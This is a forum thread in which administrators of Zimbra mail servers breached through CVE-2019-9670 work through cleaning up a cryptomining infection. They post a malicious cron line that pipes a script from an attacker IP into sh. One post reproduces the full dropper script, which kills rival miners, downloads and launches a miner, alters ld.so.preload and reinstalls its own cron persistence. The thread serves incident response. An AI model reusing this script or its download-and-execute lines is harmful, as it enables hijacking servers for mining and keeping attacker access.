CVE-2019-9670 being actively exploited (Hacked Server)

[teofiloh]

The malware is getting worse. Now if you delete if from /tmp it starts downloading in /var/tmp and there are no l.sh nor s.sh files around.
It's using wget to download the zmcat to the server if you delete it every 10-15 seconds.
Looked for jsp files and didn't find anything suspicious around.
Is there a way to prevent linux from creating the zmcat file for example? so that if deletes it immediately?
for the time being I removed the wget program to avoid the automatic download of the zmcat file to the server.

Why did you not do anything I suggested? Do you see suspecious entries with shell commands in the logs? Do you have suspicous keys in /opt/zimbra/.ssh/authorized_keys? Did you regenerate the keys?

I also think you're missing the point of the hack. You're asking to block the zmcat, but using your CPU for mining is one thing. Still having access is the real problem. Who knows what they will do next.

I know the zmcat is just the surface of the problem and that the real problem is the access to the server.
I checked the log files and found this in access log:
77.247.109.112 - - [25/Apr/2019:02:29:43 +0000] "GET //a2billing/customer/templates/default/footer.tpl HTTP/1.1" 404 - "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-957.10.1.el7.x86_64" 97

There are no modifications to user access/login information for the time being.

[teofiloh]

Looked for jsp files and didn't find anything suspicious around.
Is there a way to prevent linux from creating the zmcat file for example? so that if deletes it immediately?

Did you try the dpkg/rpm commands to check for modified files?

To prevent zmcat creation create it yourself then chown root and chmod 600

How can I find the backdoor? don't see any other java,class or jsp files around that could be altered.
Still if I install wget I immediately get the zmcat file into the server, so there is something still around inside the server.
Is there a way to find out if there is a file that is running the wget command? There are no l.sh nor s.sh scripts around anymore but the backdoor keeps downloading the zmcat file and executing it.

[JavierCairus]

Hello All!

First, great and informative post, has helped me a lot, thank you.
I have detected one client, who after cleaning the /tmp/ folder (removing l.sh, s.sh and ZMCAT files), and applying patch 10 on version 8.7.11, his server started to download the ZMCAT file to /var/tmp/ location after a few days, without the L or S scripts.
I have blocked user agent python-requests/1.1.0 on the mentioned files (on https://lorenzo.mile.si/zimbra-cve-2019 ... ction/961/ excelente post), and have move some JSP and CLASS files to temporary locations, but ZMCAT is still being pulled after restarting the services.

Any idea if this is a new pattern for the attack not yet being documented? Something I could do to clean the server? (a migration of data to a new server and a later update of the version is on the talks)
We already disable HTTP/HTTPS access to the server from the internet, and blocked conections to the port 8011 from the server to the internet (which our firewall reported is the port being used to notify or send some information from this attack), but the ZMCAT file is still being generated.

Thanks to all again, and sorry for the broken english.
Regards!

[halfgaar]

Can you run the following commands (and perhaps install nmap first) from outside the server?:

Code: Select all

nmap -Pn -p 22,80,443,7071,8080,8081 <server IP>
nmap -Pn <server IP>

You can redact IPs. I just want to make sure nothing is open.

Then, there must be a process still running. What runs as 'zimbra':

Code: Select all

su - zimbra
zmcontrol stop
ps xu

Anything suspicious in '/var/spool/cron/crontabs/zimbra'?

Anything in '/opt/zimbra/.ssh/authorized_keys'?

If you do 'htop' and switch to tree view (F4), what is the miner process a child of?

People are still reporting the worm, but are not reporting the outcome of these tests. It's important we identify this.

BTW: the attacker is likely following this topic, so act quickly to suggestions.

[JavierCairus]

Okay, I will report the output requested shortly.

[teofiloh]

Can you run the following commands (and perhaps install nmap first) from outside the server?:

Code: Select all

nmap -Pn -p 22,80,443,7071,8080,8081 <server IP>
nmap -Pn <server IP>

You can redact IPs. I just want to make sure nothing is open.

Then, there must be a process still running. What runs as 'zimbra':

Code: Select all

su - zimbra
zmcontrol stop
ps xu

Anything suspicious in '/var/spool/cron/crontabs/zimbra'?

Anything in '/opt/zimbra/.ssh/authorized_keys'?

If you do 'htop' and switch to tree view (F4), what is the miner process a child of?

People are still reporting the worm, but are not reporting the outcome of these tests. It's important we identify this.

BTW: the attacker is likely following this topic, so act quickly to suggestions.

Collaborating to the thread I found this inside the Cron:
Inside /var/spool/cron/zimbra


* * * * * wget -q -O - http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1

I will remove it and check if the download happens again.

[JavierCairus]

Here it is the info requested:

Code: Select all

C:\Users\jcairus>nmap -Pn -p 22,80,443,7071,8080,8081 ServerIP
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-29 14:29 Hora estßndar de Montevideo
Nmap scan report for ServerName (ServerIP)
Host is up (0.0049s latency).

PORT     STATE    SERVICE
22/tcp   filtered ssh
80/tcp   open     http
443/tcp  filtered https
7071/tcp filtered iwg1
8080/tcp open     http-proxy
8081/tcp filtered blackice-icecap

C:\Users\jcairus>nmap -Pn ServerIP
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-29 14:30 Hora estßndar de Montevideo
Nmap scan report for ServerName (ServerIP)
Host is up (0.0077s latency).
Not shown: 993 filtered ports
PORT     STATE  SERVICE
25/tcp   open   smtp
80/tcp   open   http
110/tcp  open   pop3
113/tcp  closed ident
143/tcp  open   imap
995/tcp  open   pop3s
8080/tcp open   http-proxy

Port 80 and 8080 do not NAT to our ZIMBRA server.


The same as TEOFILOH on /var/spool/cron/crontab/zimbra:

* * * * * wget -q -O - http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1

Nothing out of the extraordinary on /opt/zimbra/.ssh/authorized_keys.

HTOP Tree with ZMCAT filter:

[halfgaar]

The new script downloads 'http://93.113.108.146:443/zz.sh'. Download it (but don't run!!), read it, and weep. The script is getting large, and the attacker is putting effort into this.

Looking at the script, removing wget won't cut it for long. He's already deciding between curl and wget.

I urge everybody to keep looking at all places I recommended, and try to think of new ones. I can think of a 1000 ways to hide code execution. Some FAR more nifty than this hacker is doing.

Also keep an eye on /etc/shadow. The zimbra user should NOT have a password hash.

[JavierCairus]

Commented out the crontab task, search the hole filesystem for CR.sh (just in case), the file was not on the server, deleted the ZMCAT file and it has not "regenerated" for now.
Thanks to all, I will keep glued on this threat getting updates and post any findings.

Best regards

[teofiloh]

Here is the script extract:

Code: Select all

pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba

pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf

pkill -f crant
DIR="/tmp"
if [ -a "/tmp/zmcat" ];
then
    if [ -w "/tmp/zmcat" ] && [ ! -d "/tmp/zmcat" ];
    then
        if [ -x "$(command -v md5sum)" ];
        then
            sum=$(md5sum /tmp/zmcat | awk '{ print $1 }')
            echo $sum
            case $sum in
                4781b25aaf127e7d702b7604983d6268 | fe0a491619caef20c3c50bb81d25cb73)
                    echo "zmcat OK"
                ;;
                *)
                    echo "zmcat wrong"
                    rm -rf /tmp/zmcat
                    pkill -f zmcat
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ];
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/tmp/zmcat" ];
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /opt/zimbra/curl/bin/curl ];
then
    WGET="curl -o"
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ];
    then
        if [ ! -f $DIR/zmcat ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/zmcat | awk '{ print $1 }')
        echo $sum
        case $sum in
            4781b25aaf127e7d702b7604983d6268 | fe0a491619caef20c3c50bb81d25cb73)
                echo "zmcat OK"
            ;;
            *)
                echo "zmcat wrong"
                sizeBefore=$(du $DIR/zmcat)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o "
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O "
                fi
                echo "" > $DIR/tmp.txt
                rm -rf $DIR/zmcat
                download
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ];
    then
        sum=$(md5sum $DIR/zmcat | awk '{ print $1 }')
        echo $sum
        case $sum in
            4781b25aaf127e7d702b7604983d6268 | fe0a491619caef20c3c50bb81d25cb73)
                echo "Java OK"
                cp $DIR/zmcat $DIR/zmcat
            ;;
            *)
                echo "zmcat wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    $WGET $DIR/zmcat http://93.113.108.146:443/zmcat.zip

    if [ -x "$(command -v md5sum)" ];
    then
        sum=$(md5sum $DIR/zmcat | awk '{ print $1 }')
        echo $sum
        case $sum in
            4781b25aaf127e7d702b7604983d6268 | fe0a491619caef20c3c50bb81d25cb73)
                echo "zmcat OK"
                cp $DIR/zmcat $DIR/pscf3
            ;;
            *)
                echo "zmcat wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}
sed -i '$d' /etc/ld.so.preload

netstat -antp | grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
    do
        kill -9 $procid
    done
else
    echo "Running"
fi

if [ ! "$(ps -fe|grep '/tmp/zmcat'|grep -v grep)" ];
then
    downloadIfNeed
    chmod +x $DIR/zmcat
    $WGET $DIR/zmcat http://93.113.108.146:443/zmcat.zip
    nohup $DIR/zmcat  > /dev/null 2>&1 &
    sleep 5
else
    echo "Running"
fi

if crontab -l | grep -q "93.113.108.146"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /opt/zimbra/curl/bin/curl ];
    then
        LDR="curl"
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -"
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1")| crontab -
fi

pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 177.53.8.84
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -